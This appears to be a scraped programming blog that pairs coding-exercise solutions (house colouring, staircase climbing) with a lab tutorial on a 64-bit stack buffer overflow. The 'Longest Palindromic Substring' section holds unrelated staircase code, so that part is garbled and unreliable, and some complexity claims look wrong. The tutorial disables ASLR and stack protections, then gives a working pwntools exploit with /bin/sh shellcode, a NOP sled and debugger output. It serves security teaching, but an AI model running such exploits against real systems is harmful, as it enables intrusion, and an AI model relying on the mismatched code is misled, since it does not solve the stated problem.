C

TODO

Building Houses

The text of the exercise is the following: A builder is looking to build a row of N houses that can be of K different colours. He has a goal of minimizing cost while ensuring that no two neighbouring houses are not of the same colour. Given an N by K matrix where the nth row and kth column represents the cost to build the nth house with kth colour, return the minimum cost which achieves this goal. Before solving the exercise, we can ask few questions to specify few aspects that might not be clear: Can an house cost 0? No. Can N &gt; K or N &lt; K ? Yes. My solution It is clear that finding the minimum iteratively for each house can return a local minimal solution but we are interested in the global minima. Python C Java import math N = 6 K = 4 cost_matrix = [ [1 , 20, 34, 20], [40, 10, 15, 30], [50, 1, 20, 40], [70, 80, 30, 1 ], [1 , 60, 30, 40], [70, 50, 1 , 20] ] def find_house(row, col, tot, min_tot): if row &lt; N: tot &#43;= cost_matrix[row][col] for c in range(K): if c != col: min_tot = find_house(row&#43;1, c, tot, min_tot) else: if min_tot &gt; tot: min_tot = tot return min_tot def main(): print (&#34;Minimum value found:&#34;, find_house(0,0,0, math.inf)) #include&lt;stdio.h&gt; #include&lt;limits.h&gt; #define K 4 #define N 6 int cost_matrix[N][K] = { {1 , 20, 34, 20}, {40, 10, 15, 30}, {50, 1, 20, 40}, {70, 80, 30, 1 }, {1 , 60, 30, 40}, {70, 50, 1 , 20} }; int find_house(int row, int col, int tot, int min_tot) { if (row &lt; N) { tot &#43;= cost_matrix[row][col]; for (int c=0; c&lt;K; c&#43;&#43;) { if (c != col) min_tot = find_house(row&#43;1,c, tot, min_tot); } } else { if (min_tot &gt; tot) min_tot = tot; } return min_tot; } int main() { printf(&#34;Minimal cost: %d\n&#34;, find_house(0, 0, 0, INT_MAX)); return 0; } public class BuildHouse { static int N=6; static int K=4; static int cost_matrix[][] = { {1 , 20, 34, 20}, {40, 10, 15, 30}, {50, 1, 20, 40}, {70, 80, 30, 1 }, {1 , 60, 30, 40}, {70, 50, 1 , 20} }; public static void main(String[] args) { System.out.println(&#34;Minimum value found: &#34;&#43; findHouse(0,0,0,Integer.MAX_VALUE)); } static int findHouse(int row, int col, int tot, int min_tot) { if (row &lt; N) { tot &#43;= cost_matrix[row][col]; for (int c=0; c&lt;K; c&#43;&#43;) { if (c != col) min_tot = findHouse(row&#43;1, c, tot, min_tot); } } else { if (min_tot &gt; tot) min_tot = tot; } return min_tot; } } Code Explanation The function find_house is a recursive function that takes the row, col, tot and min_tot as input parameters. The function transform the matrix into a tree and perform a kind of &ldquo;depth-first&rdquo; exploration returning the minimum of the total found. row represents the row of the house. col represents column of the house. tot represents the total up to the reached node. min_tot represents the minimum of the cost found up to that moment The recursion stops when all the nodes have been explored. Time complexity: $$O(N^K)$$ Space complexity: $$O(N^K)$$

Longest Palindromic Substring

The text of the exercise is the following: Given a string s, find the longest palindromic substring in s. You may assume that the maximum length of s is 1000. Example 1: Input: &ldquo;babad&rdquo; Output: &ldquo;bab&rdquo; Note: &ldquo;aba&rdquo; is also a valid answer. Example 2: Input: &ldquo;cbbd&rdquo; Output: &ldquo;bb&rdquo; My solution Python C Java N = 4 solutions = [] def staircase(n, result): if n == 1: solutions.append(result+&quot;,&quot;+&quot;1&quot;) return if n == 0: solutions.append(result) return staircase(n-2, result + &quot;,2&quot;) staircase(n-1, result + &quot;,1&quot;) if __name__ == &quot;__main__&quot;: staircase(N,&quot;&quot;) print(&quot;\n&quot;.join([s[1:] for s in solutions])) #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; char** solutions; int N = 4; int n_solution=0; void staircase(int n, char *result); char* strAdd(char* begin, char* end); void addSolution(char* solution); void staircase(int n, char *result) { char *str1,*str2; if (n == 1) { str1 = strAdd(result, &quot;,1&quot;); addSolution(str1); free((void*)str1); return; } else if (n == 0) { addSolution(result); return; } str1 = strAdd(result, &quot;,1&quot;); str2 = strAdd(result, &quot;,2&quot;); staircase(n-1, str1); staircase(n-2, str2); free((void*)str1); free((void*)str2); } char* strAdd(char* begin, char* end) { char* str; str = (char*) malloc(sizeof(char) * (strlen(begin)+ strlen(end) + 1)); if (str == NULL) exit(1); str = strcpy(str, begin); str = strcat(str, end); return str; } void addSolution(char* solution) { char *str = (char*) malloc(sizeof(char) * strlen(solution) + 1); if (str == NULL) exit(1); n_solution++; solutions = (char**) realloc(solutions, sizeof(char*) * n_solution); if (solutions == NULL) { free(solutions); exit(1); } str = strcpy(str, solution); solutions[n_solution-1] = str; return; } int main(int argc, char* argv[]) { int i; solutions = solutions=malloc(sizeof(char**)); if (solutions == NULL) exit(1); staircase(N,&quot;&quot;); for(i=0; i&lt; n_solution; i++ ) { printf(&quot;%s\n&quot;, solutions[i]+1); free((void*)solutions[i]); } free(solutions); return 0; } import java.util.ArrayList; import java.util.Iterator; import java.util.List; public class NStepStaircase { static List&lt;String&gt; solutions = new ArrayList&lt;String&gt;(); public static void main(String[] args) { int N=4; staircase(N, new StringBuffer()); Iterator&lt;String&gt; iter = NStepStaircase.solutions.iterator(); String str; while(iter.hasNext()) { str = iter.next(); System.out.println(str.substring(1, str.length())); } } static void staircase(int n, StringBuffer result) { if (n == 1) { NStepStaircase.solutions.add(result.append(&quot;,1&quot;).toString()); return; } else if (n == 0) { solutions.add(result.toString()); return; } staircase(n-1, new StringBuffer(result).append(&quot;,1&quot;)); staircase(n-2, new StringBuffer(result).append(&quot;,2&quot;)); } } Code Explanation The function staircase is a recursive function that takes the n and result as input parameters. * n represents the number of stairs that remains to be climbed. * result represents the steps covered so far. The recursion stops when there are no more steps to climb or when there are only 1 stair left. **Time complexity**: \$$O(2^N) \$$ **Space complexity**: \$$O(2^N) \$$ Generalized solution Python C Java N = 9 solutions = [] STEPS = [1, 3, 5] def staircase(n, result): if n == 0: solutions.append(result) return for s in STEPS: if n-s &gt;= 0: staircase(n-s, result + &quot;,&quot; + str(s)) if __name__ == &quot;__main__&quot;: staircase(N,&quot;&quot;) print(&quot;\n&quot;.join([s[1:] for s in solutions])) #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;math.h&gt; char** solutions; int N = 4; int n_solution=0; int STEPS[] = {1,2,3}; void staircase(int n, char *result); char* strAdd(char* begin, int number); void addSolution(char* solution); void staircase(int n, char *result) { char *str; if (n == 0) { addSolution(result); return; } for (int i=0; i&lt;sizeof(STEPS)/sizeof(STEPS[0]); i++) { if ( n-STEPS[i] &gt;= 0) { str = strAdd(result, STEPS[i]); staircase(n-STEPS[i], str); free((void*)str); } } } char* strAdd(char* begin, int number) { char* str; str = (char*) malloc(sizeof(char) * (strlen(begin)+ floor(log10(number))+1 +1 + 1)); //1 for '\0', 1 for ',', 1 for if (str == NULL) exit(1); sprintf(str, &quot;%s,%d&quot;, begin, number); return str; } void addSolution(char* solution) { char *str = (char*) malloc(sizeof(char) * strlen(solution) + 1); if (str == NULL) exit(1); n_solution++; solutions = (char**) realloc(solutions, sizeof(char*) * n_solution); if (solutions == NULL) { free(solutions); exit(1); } str = strcpy(str, solution); solutions[n_solution-1] = str; return; } int main(int argc, char* argv[]) { int i; solutions = solutions=malloc(sizeof(char**)); if (solutions == NULL) exit(1); staircase(N,&quot;&quot;); for(i=0; i&lt; n_solution; i++ ) { printf(&quot;%s\n&quot;, solutions[i]+1); free((void*)solutions[i]); } free(solutions); return 0; } import java.util.ArrayList; import java.util.Iterator; import java.util.List; import java.util.Arrays; public class NStepStaircaseGeneral { static List&lt;String&gt; solutions = new ArrayList&lt;String&gt; (); static List&lt;Integer&gt; STEPS = new ArrayList&lt;Integer&gt;(Arrays.asList(1,2)); public static void main(String[] args) { int N=4; staircase(N, new StringBuffer()); Iterator&lt;String&gt; iter = NStepStaircaseGeneral.solutions.iterator(); String str; while(iter.hasNext()) { str = iter.next(); System.out.println(str.substring(1, str.length())); } } static void staircase(int n, StringBuffer result) { Iterator&lt;Integer&gt; iter = NStepStaircaseGeneral.STEPS.iterator(); Integer step; if (n == 0) { solutions.add(result.toString()); return; } while (iter.hasNext()) { step = iter.next(); if ((n - step) &gt;= 0) { staircase(n-step, new StringBuffer(result).append(&quot;,&quot;+step)); } } } } **Time complexity**: \$$O(k^N) \$$ \$$;\$$ \$$k = | STEPS | \$$ **Space complexity**: \$$O(k^N) \$$ \$$;\$$ \$$k = | STEPS | \$$ --

N Steps Staircase

The text of the exercise is the following: There&rsquo;s a staircase with N steps, and you can climb 1 or 2 steps at a time. Given N, write a function that prints all the unique ways you can climb the staircase. The order of the steps matters. For example, if N is 4, then there are 5 unique ways: 1, 1, 1, 1 2, 1, 1 1, 2, 1 1, 1, 2 2, 2 What if, instead of being able to climb 1 or 2 steps at a time, you could climb any number from a set of positive integers X? For example, if X = {1, 3, 5}, you could climb 1, 3, or 5 steps at a time. Generalize your function to take in X. Before solving the exercise, we can ask few questions to specify few aspects that might not be clear. Are the steps going to be always positive number? Yes. In the general case, is 1 going to be always in the possible steps? No. My solution Python C Java N = 4 solutions = [] def staircase(n, result): if n == 1: solutions.append(result&#43;&#34;,&#34;&#43;&#34;1&#34;) return if n == 0: solutions.append(result) return staircase(n-2, result &#43; &#34;,2&#34;) staircase(n-1, result &#43; &#34;,1&#34;) if __name__ == &#34;__main__&#34;: staircase(N,&#34;&#34;) print(&#34;\n&#34;.join([s[1:] for s in solutions])) #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; char** solutions; int N = 4; int n_solution=0; void staircase(int n, char *result); char* strAdd(char* begin, char* end); void addSolution(char* solution); void staircase(int n, char *result) { char *str1,*str2; if (n == 1) { str1 = strAdd(result, &#34;,1&#34;); addSolution(str1); free((void*)str1); return; } else if (n == 0) { addSolution(result); return; } str1 = strAdd(result, &#34;,1&#34;); str2 = strAdd(result, &#34;,2&#34;); staircase(n-1, str1); staircase(n-2, str2); free((void*)str1); free((void*)str2); } char* strAdd(char* begin, char* end) { char* str; str = (char*) malloc(sizeof(char) * (strlen(begin)&#43; strlen(end) &#43; 1)); if (str == NULL) exit(1); str = strcpy(str, begin); str = strcat(str, end); return str; } void addSolution(char* solution) { char *str = (char*) malloc(sizeof(char) * strlen(solution) &#43; 1); if (str == NULL) exit(1); n_solution&#43;&#43;; solutions = (char**) realloc(solutions, sizeof(char*) * n_solution); if (solutions == NULL) { free(solutions); exit(1); } str = strcpy(str, solution); solutions[n_solution-1] = str; return; } int main(int argc, char* argv[]) { int i; solutions = solutions=malloc(sizeof(char**)); if (solutions == NULL) exit(1); staircase(N,&#34;&#34;); for(i=0; i&lt; n_solution; i&#43;&#43; ) { printf(&#34;%s\n&#34;, solutions[i]&#43;1); free((void*)solutions[i]); } free(solutions); return 0; } import java.util.ArrayList; import java.util.Iterator; import java.util.List; public class NStepStaircase { static List&lt;String&gt; solutions = new ArrayList&lt;String&gt;(); public static void main(String[] args) { int N=4; staircase(N, new StringBuffer()); Iterator&lt;String&gt; iter = NStepStaircase.solutions.iterator(); String str; while(iter.hasNext()) { str = iter.next(); System.out.println(str.substring(1, str.length())); } } static void staircase(int n, StringBuffer result) { if (n == 1) { NStepStaircase.solutions.add(result.append(&#34;,1&#34;).toString()); return; } else if (n == 0) { solutions.add(result.toString()); return; } staircase(n-1, new StringBuffer(result).append(&#34;,1&#34;)); staircase(n-2, new StringBuffer(result).append(&#34;,2&#34;)); } } Code Explanation The function staircase is a recursive function that takes the n and result as input parameters. n represents the number of stairs that remains to be climbed. result represents the steps covered so far. The recursion stops when there are no more steps to climb or when there are only 1 stair left. Time complexity: $$O(2^N)$$ Space complexity: $$O(2^N)$$ Generalized solution Python C Java N = 9 solutions = [] STEPS = [1, 3, 5] def staircase(n, result): if n == 0: solutions.append(result) return for s in STEPS: if n-s &gt;= 0: staircase(n-s, result &#43; &#34;,&#34; &#43; str(s)) if __name__ == &#34;__main__&#34;: staircase(N,&#34;&#34;) print(&#34;\n&#34;.join([s[1:] for s in solutions])) #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;math.h&gt; char** solutions; int N = 4; int n_solution=0; int STEPS[] = {1,2,3}; void staircase(int n, char *result); char* strAdd(char* begin, int number); void addSolution(char* solution); void staircase(int n, char *result) { char *str; if (n == 0) { addSolution(result); return; } for (int i=0; i&lt;sizeof(STEPS)/sizeof(STEPS[0]); i&#43;&#43;) { if ( n-STEPS[i] &gt;= 0) { str = strAdd(result, STEPS[i]); staircase(n-STEPS[i], str); free((void*)str); } } } char* strAdd(char* begin, int number) { char* str; str = (char*) malloc(sizeof(char) * (strlen(begin)&#43; floor(log10(number))&#43;1 &#43;1 &#43; 1)); //1 for &#39;\0&#39;, 1 for &#39;,&#39;, 1 for if (str == NULL) exit(1); sprintf(str, &#34;%s,%d&#34;, begin, number); return str; } void addSolution(char* solution) { char *str = (char*) malloc(sizeof(char) * strlen(solution) &#43; 1); if (str == NULL) exit(1); n_solution&#43;&#43;; solutions = (char**) realloc(solutions, sizeof(char*) * n_solution); if (solutions == NULL) { free(solutions); exit(1); } str = strcpy(str, solution); solutions[n_solution-1] = str; return; } int main(int argc, char* argv[]) { int i; solutions = solutions=malloc(sizeof(char**)); if (solutions == NULL) exit(1); staircase(N,&#34;&#34;); for(i=0; i&lt; n_solution; i&#43;&#43; ) { printf(&#34;%s\n&#34;, solutions[i]&#43;1); free((void*)solutions[i]); } free(solutions); return 0; } import java.util.ArrayList; import java.util.Iterator; import java.util.List; import java.util.Arrays; public class NStepStaircaseGeneral { static List&lt;String&gt; solutions = new ArrayList&lt;String&gt; (); static List&lt;Integer&gt; STEPS = new ArrayList&lt;Integer&gt;(Arrays.asList(1,2)); public static void main(String[] args) { int N=4; staircase(N, new StringBuffer()); Iterator&lt;String&gt; iter = NStepStaircaseGeneral.solutions.iterator(); String str; while(iter.hasNext()) { str = iter.next(); System.out.println(str.substring(1, str.length())); } } static void staircase(int n, StringBuffer result) { Iterator&lt;Integer&gt; iter = NStepStaircaseGeneral.STEPS.iterator(); Integer step; if (n == 0) { solutions.add(result.toString()); return; } while (iter.hasNext()) { step = iter.next(); if ((n - step) &gt;= 0) { staircase(n-step, new StringBuffer(result).append(&#34;,&#34;&#43;step)); } } } } Time complexity: $$O(k^N)$$ $$;$$ $$k = | STEPS |$$ Space complexity: $$O(k^N)$$ $$;$$ $$k = | STEPS |$$

Basic Stack-Based Buffer Overflow

In this article, I am going to show how to exploit a stack-based buffer overflow and the conditions that make this possible. For the purpose of this exercise, we are going to switch off 3 security features: Address Space Layout Randomization (ASLR) Non-executable stack (aka stack execution prevention, aka NX Bit) Stack canary (aka stack-protector) How to switch off ASLR To switch off ASLR: $sudo bash -c &#39;echo 0 &gt; /proc/sys/kernel/randomize_va_space&#39; (Note that I didn&rsquo;t do sudo echo 0 &gt; /proc/sys/kernel/randomize_va_space because the output redirection command &gt; will be performed as standard user but we need root permission to perform this operation.) How to switch off non-executable stack and stack canary security features To switch off the non-executable stack and the stack canary protections, we need to compile the program as follow:$ gcc -fno-stack-protector -z execstack -o overflow64 overflow64.c The use of the option -z execstack will prevent stack to be non-executable (i.e., it will be executable) while the option -fno-stack-protector disable the stack canary protection. Stack-based buffer overflow scheme The overflow of a variable positioned in the stack occurs when an operation is performed without checking the details of such operation resulting in a writing beyond the boundaries of such variable. When an operation write data on a buffer based on the stack beyond its limits, this operation can cause the overwriting of the return address of the function where this variable is allocated. This is because, as explained in The Stack, the local variables are above the return address as shown in the picture below. How we can exploit this situation? What can we write into the stack? The left stacks in both images represent a normal stack. The right stacks in both images represent a stack after the unsafe write operation. The unsafe operation started to write data from the top of the stack (where the stack variable is stored) and continue beyond its limit to overwrite the return address of the same function. This address is where the program expect to find the return address of the function. By overwriting this address we are able to to diverge the execution of the program. In this image, we can see that in the stack is written also some nop slides before the shellcode. These are only a series of nop operations, i.e., no-operation operation (0x90 in machine code). We use nop slide because sometimes it is difficult to the jump to the start of the shellcode. In this way it is possible to jump approximately before it. The nop operation is 1 byte long, and jumping to any byte address where these operations are located will not cause any error. This instruction is used because it does not do anything and it moves to the next operation. At the end of the nop slide the shellcode will be located and executed. The program to exploit This is the source code of the program that we are going to exploit: // file: overflow64.c #include&lt;stdio.h&gt; int main(int argc, char* argv[]) { char buff[20]; scanf(&#34;%s&#34;, buff); return 0; } In line 7, there is a vulnerable operation. Why vulnerable? Because it does not check the boundaries of the arrays that are being copied (check man scanf). Let&rsquo;s compile this program as described in previously. The first thing we need to do is to crash the program. If we input more than 20 characters the program crash: $./overflow64 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Segmentation fault (core dumped) We can see that the terminal reports Segmentation fault. Let&rsquo;s try to get a bit more details on this crash. The next step is to understand why it is crashing. By running dmesg:$ dmesg | tail ...... [13401.299114] overflow64[16566]: segfault at 616161616161 ip 0000616161616161 sp 00007fffffffddb0 error 14 in libc-2.27.so[7ffff79e4000&#43;1e7000] The logs shown by dmesg show that the program named &ldquo;overflow64&rdquo; received a segfault (segmentation fault) when trying to access a memory location with address 616161616161. (When we run the program, we input a lot of &ldquo;a&rdquo; that in ASCII are represented with the hexadecimal value of 0x61. Is it a coincidence? Spoiler alert: no.) This happen because the program is trying to access a memory address that is not supposed to. Giving in input more &ldquo;a&quot;s we can incur in a different dmesg message: $dmesg | tail ...... [13747.451995] traps: overflow64[16766] general protection ip:555555554697 sp:7fffffffdda8 error:0 in overflow64[555555554000&#43;1000] In this case the message is referring to a general protection. What is this? In x86_64 bit architecture the maximum canonical address is currently 0x00007fffffffffff. Therefore even if an address is 64 bit long, current processor use only 48 bits of those. This was done because 48 bit address gives already an address space of 256 terabytes, therefore it will be enough for quite a long future. Therefore instead of wasting hardware and power resources, the hardware manufactures decided this way. The architecture design support 64 bit but the current hardware implementations do not. To gather even more information on the crash we can run the program within GDB. For this purpose I use GEF to have an easier access to debug information.$ gdb -q ./overflow64 GEF for linux ready, type gef to start, gef config to configure 73 commands loaded for GDB 8.1.0.20180409-git using Python engine 3.6 Reading symbols from ./overflow64...(no debugging symbols found)...done. gef➤ r Starting program: /home/pippo/ctf/lectures/basic_buffer_overflow/overflow64 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $rax : 0x0$rbx : 0x0 $rcx : 0x00007ffff7dd0560 → 0x00007ffff7dcc580 → 0x00007ffff7b9996e → 0x636d656d5f5f0043 (&#34;C&#34;?)$rdx : 0x00007ffff7dd18d0 → 0x0000000000000000 $rsp : 0x00007fffffffdcd8 → &#34;aaaaaaaaaaaaaaaaaa&#34;$rbp : 0x6161616161616161 (&#34;aaaaaaaa&#34;?) $rsi : 0x1$rdi : 0x0 $rip : 0x0000555555554697 → &lt;main&#43;45&gt; ret$r8 : 0x0 $r9 : 0x0$r10 : 0x0 $r11 : 0x0000555555554726 → add BYTE PTR [rax], al$r12 : 0x0000555555554560 → &lt;_start&#43;0&gt; xor ebp, ebp $r13 : 0x00007fffffffddb0 → 0x0000000000000001$r14 : 0x0 $r15 : 0x0$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0033$ss: 0x002b $ds: 0x0000$es: 0x0000 $fs: 0x0000$gs: 0x0000 ───────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffdcd8│&#43;0x0000: &#34;aaaaaaaaaaaaaaaaaa&#34; ← $rsp 0x00007fffffffdce0│&#43;0x0008: &#34;aaaaaaaaaa&#34; 0x00007fffffffdce8│&#43;0x0010: 0x00007fffff006161 (&#34;aa&#34;?) 0x00007fffffffdcf0│&#43;0x0018: 0x0000000100008000 0x00007fffffffdcf8│&#43;0x0020: 0x000055555555466a → &lt;main&#43;0&gt; push rbp 0x00007fffffffdd00│&#43;0x0028: 0x0000000000000000 0x00007fffffffdd08│&#43;0x0030: 0x7d8cd030cadb6f2f 0x00007fffffffdd10│&#43;0x0038: 0x0000555555554560 → &lt;_start&#43;0&gt; xor ebp, ebp ─────────────────────────────────────────────────────────────── code:x86:64 ──── 0x55555555468c &lt;main&#43;34&gt; call 0x555555554540 &lt;__isoc99_scanf@plt&gt; 0x555555554691 &lt;main&#43;39&gt; mov eax, 0x0 0x555555554696 &lt;main&#43;44&gt; leave → 0x555555554697 &lt;main&#43;45&gt; ret [!] Cannot disassemble from$PC ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: &#34;overflow64&#34;, stopped, reason: SIGSEGV ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0x555555554697 → main() ──────────────────────────────────────────────────────────────────────────────── 0x0000555555554697 in main () In line 47, this program stopped because received the SIGSEGV i.e., segmentation fault (see man 7 signal for more information on signals). In lines 41-45, you can see code information. You can see that the program stopped at the ret instruction. In lines 12-30, you can see registers information. In lines 32-39, you can see stack information. In line 7, we can see the input that we fed to the program. The ret takes the address pointed by the stack pointer (rsp) and continue the execution from there. The address that the program is trying to jump to is an invalid address that we overwrite when we overflow the address. Our goal is to be able to write in this address an arbitrary address so that we can divert the execution. We need to write an address that when executed its content will eventually execute our shellcode. With the help of GDB we can break in the main function and have a look at the stack address of the function: $gdb -q ./overflow64 GEF for linux ready, type gef to start, gef config to configure 73 commands loaded for GDB 8.1.0.20180409-git using Python engine 3.6 Reading symbols from ./overflow64...(no debugging symbols found)...done. gef➤ b main Breakpoint 1 at 0x66e gef➤ r Starting program: /home/pippo/ctf/lectures/basic_buffer_overflow/overflow64 ...... ──────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffdcc0│&#43;0x0000: 0x00005555555546a0 → &lt;__libc_csu_init&#43;0&gt; push r15 ←$rsp, rbp 0x00007fffffffdcc8│&#43;0x0008: 0x00007ffff7a05b97 → &lt;__libc_start_main&#43;231&gt; mov edi, eax 0x00007fffffffdcd0│&#43;0x0010: 0x0000000000000001 0x00007fffffffdcd8│&#43;0x0018: 0x00007fffffffdda8 → 0x00007fffffffe12f → &#34;/home/pippo/ctf/lectures/basic_buffer_overflow/ove[...]&#34; 0x00007fffffffdce0│&#43;0x0020: 0x0000000100008000 0x00007fffffffdce8│&#43;0x0028: 0x000055555555466a → &lt;main&#43;0&gt; push rbp 0x00007fffffffdcf0│&#43;0x0030: 0x0000000000000000 0x00007fffffffdcf8│&#43;0x0038: 0x34f880d1fbfab7e5 ────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x555555554665 &lt;frame_dummy&#43;5&gt; jmp 0x5555555545d0 &lt;register_tm_clones&gt; 0x55555555466a &lt;main&#43;0&gt; push rbp 0x55555555466b &lt;main&#43;1&gt; mov rbp, rsp → 0x55555555466e &lt;main&#43;4&gt; sub rsp, 0x30 0x555555554672 &lt;main&#43;8&gt; mov DWORD PTR [rbp-0x24], edi 0x555555554675 &lt;main&#43;11&gt; mov QWORD PTR [rbp-0x30], rsi 0x555555554679 &lt;main&#43;15&gt; lea rax, [rbp-0x20] 0x55555555467d &lt;main&#43;19&gt; mov rsi, rax 0x555555554680 &lt;main&#43;22&gt; lea rdi, [rip&#43;0x9d] # 0x555555554724 ...... Breakpoint 1, 0x000055555555466e in main () (The snippet shows only the interesting parts.) In line 11, we can see that the stack is currently at position 0x00007fffffffdcc0. The space of the local variable have not been allocated yet as shown in line 23. When we overflow the local variables we are going to write our shellcode around this address. In order to execute the shellcode we need to overwrite the return address of the function with our crafted address. The location of the return address to overwrite is relative to the buffer that we are overflowing depends on many things. It depends on the size of other local variables (and their positions compared to the overflowed one) the stack alignment, and to the presence of the stack canary. The best way to find the correct location is to try to input increasingly number of input until we can see that we overwrite the return address of the function. Once we find the offset of the return address, we need to point it to the shellcode. We have already found the location near where the shellcode will be located. What needs to be placed in the stack is a nop slide to help to reach our shellcode as shown previously. This is achieved with the following code (I am using Pwntools): # filename: exploit_overflow64.py from pwn import * import sys # process name to exploit process_path = &#34;./overflow64&#34; shellcode = &#34;\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f&#34; shellcode &#43;= &#34;\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57&#34; shellcode &#43;= &#34;\x54\x5f\x6a\x3b\x58\x0f\x05&#34; # return address obtained by adding 0x30 to the top of the stack # maximum canonical address size is 0x00007FFFFFFFFFFF ret_addr = &#34;\x00\x00\x7f\xff\xff\xff\xdd\x50&#34;[::-1] payload = &#34;A&#34;*40 &#43; ret_addr payload &#43;= &#34;\x90&#34; * 500 &#43; shellcode # Writing payload to file to be used elsewhere (e.g., GDB) f = open(&#34;payload&#34;, &#39;w&#39;) f.write(payload) f.close() # start the program proc = process(process_path) # send payload proc.sendline(payload) # we need interact with the spawned shell proc.interactive() proc.close() In line 16, we can see that I am preparing the input to the scanf function writing 40 &ldquo;A&rdquo;, then the return address, then 500 nop operations and finally the shellcode. Now can can give the input to the function that will overflow the variable and write the correct return address. We can run it on GDB and break it just after the scanf function our stack will look like this: gef➤ dereferencersp 20 0x00007fffffffdc90│&#43;0x0000: 0x00007fffffffdda8 → 0x9090909090909090 ← $rsp 0x00007fffffffdc98│&#43;0x0008: 0x0000000100000000 0x00007fffffffdca0│&#43;0x0010: 0x4141414141414141 0x00007fffffffdca8│&#43;0x0018: 0x4141414141414141 0x00007fffffffdcb0│&#43;0x0020: 0x4141414141414141 0x00007fffffffdcb8│&#43;0x0028: 0x4141414141414141 0x00007fffffffdcc0│&#43;0x0030: 0x4141414141414141 ←$rbp 0x00007fffffffdcc8│&#43;0x0038: 0x00007fffffffdd50 → 0x9090909090909090 0x00007fffffffdcd0│&#43;0x0040: 0x9090909090909090 0x00007fffffffdcd8│&#43;0x0048: 0x9090909090909090 0x00007fffffffdce0│&#43;0x0050: 0x9090909090909090 The address below the rbp is the one that contains the return address that we overwrite when we overflow the variable and now it points to a location where nop are store. At the end of the nop there is the shellcode, when executed, the program is going to eventually execute the shellcode that was our initial goal